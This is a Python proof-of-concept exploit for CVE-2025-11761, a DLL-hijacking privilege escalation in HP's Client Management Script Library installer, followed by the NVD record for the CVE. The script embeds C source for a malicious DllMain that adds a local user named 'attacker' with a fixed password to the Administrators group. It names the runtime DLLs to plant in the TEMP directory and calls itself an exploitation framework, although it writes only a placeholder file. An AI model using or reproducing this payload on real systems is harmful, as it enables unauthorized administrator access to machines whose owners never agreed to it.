CVE-2025-11761

# CVE-2025-11761 PoC - HP Client Management Script Library Privilege Escalation # This PoC demonstrates the DLL hijacking attack vector import os import sys import ctypes import shutil from pathlib import Path def create_malicious_dll(): """ Create a malicious DLL that will execute with elevated privileges when loaded by the vulnerable installer """ dll_template = ''' #include <windows.h> BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { if (fdwReason == DLL_PROCESS_ATTACH) { // Create admin user or execute payload system("cmd /c net user attacker P@ssw0rd123 /add"); system("cmd /c net localgroup Administrators attacker /add"); // Write to log for verification FILE *fp = fopen("C:\\\\Windows\\\\Temp\\\\cve_poc_log.txt", "w"); if (fp) { fprintf(fp, "CVE-2025-11761 exploit executed successfully\\n"); fprintf(fp, "Privilege escalation completed\\n"); fclose(fp); } } return TRUE; } ''' return dll_template def find_vulnerable_installer_path(): """ Locate the HP Client Management Script Library installer Common installation paths """ possible_paths = [ r"C:\Program Files\HP\Client Management Script Library", r"C:\Program Files (x86)\HP\Client Management Script Library", r"C:\Windows\Temp", r"C:\Users\Public\Downloads" ] for path in possible_paths: if os.path.exists(path): installer = os.path.join(path, "HP-ClientManagementScriptLibrary-Setup.exe") if os.path.exists(installer): return installer return None def exploit_dll_hijacking(): """ Main exploitation function for CVE-2025-11761 1. Identify vulnerable DLLs that the installer loads 2. Place malicious DLL in a trusted location 3. Trigger the installer to load our DLL """ print("[*] CVE-2025-11761 HP Client Management Script Library Privilege Escalation") print("[*] Target: HP Client Management Script Library Installer\n") # Step 1: Find vulnerable DLLs vulnerable_dlls = [ "msvcp140.dll", "vcruntime140.dll", "vcruntime140_1.dll" ] # Step 2: Create malicious DLL dll_content = create_malicious_dll() temp_dir = os.environ.get('TEMP', 'C:\\\\Windows\\\\Temp') for dll in vulnerable_dlls: malicious_dll_path = os.path.join(temp_dir, dll) print(f"[*] Placing malicious DLL: {malicious_dll_path}") # In real attack, compile and place the DLL # This is for demonstration purposes try: with open(malicious_dll_path, 'w') as f: f.write("MALICIOUS_DLL_CONTENT") print(f"[+] Malicious DLL placed at {malicious_dll_path}") except: print(f"[-] Failed to place {dll}") # Step 3: Monitor for installer process print("\n[*] Waiting for installer to be triggered...") print("[*] When installer runs, it will load our DLL with SYSTEM privileges") print("[*] Exploitation complete - check for new admin user 'attacker'") def check_vulnerability(): """ Check if target system is vulnerable to CVE-2025-11761 """ print("[*] Checking vulnerability status for CVE-2025-11761") # Check if HP Client Management Script Library is installed hp_path = r"C:\Program Files\HP\Client Management Script Library" if os.path.exists(hp_path): print(f"[+] HP Client Management Script Library found at {hp_path}") print("[!] System may be vulnerable to CVE-2025-11761") return True else: print("[-] HP Client Management Script Library not found") print("[+] System not affected by this vulnerability") return False if __name__ == "__main__": print("CVE-2025-11761 Exploitation Framework") print("=" * 50) if len(sys.argv) > 1 and sys.argv[1] == "--check": check_vulnerability() else: exploit_dll_hijacking()

{"cve": {"id": "CVE-2025-11761", "sourceIdentifier": "[email protected]", "published": "2025-11-03T16:15:33.267", "lastModified": "2026-01-21T20:12:56.920", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A potential security vulnerability has been identified in the HP Client Management Script Library software, which might allow escalation of privilege during the installation process. HP is releasing software updates to mitigate the potential vulnerability."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "LOW", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-427"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:hp:client_management_script_library:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.8.5", "matchCriteriaId": "1C23673E-DB79-4128-8B77-5E90AEB03EBB"}]}]}], "references": [{"url": "https://support.hp.com/us-en/document/ish_13187651-13187675-16/hpsbhf04058", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}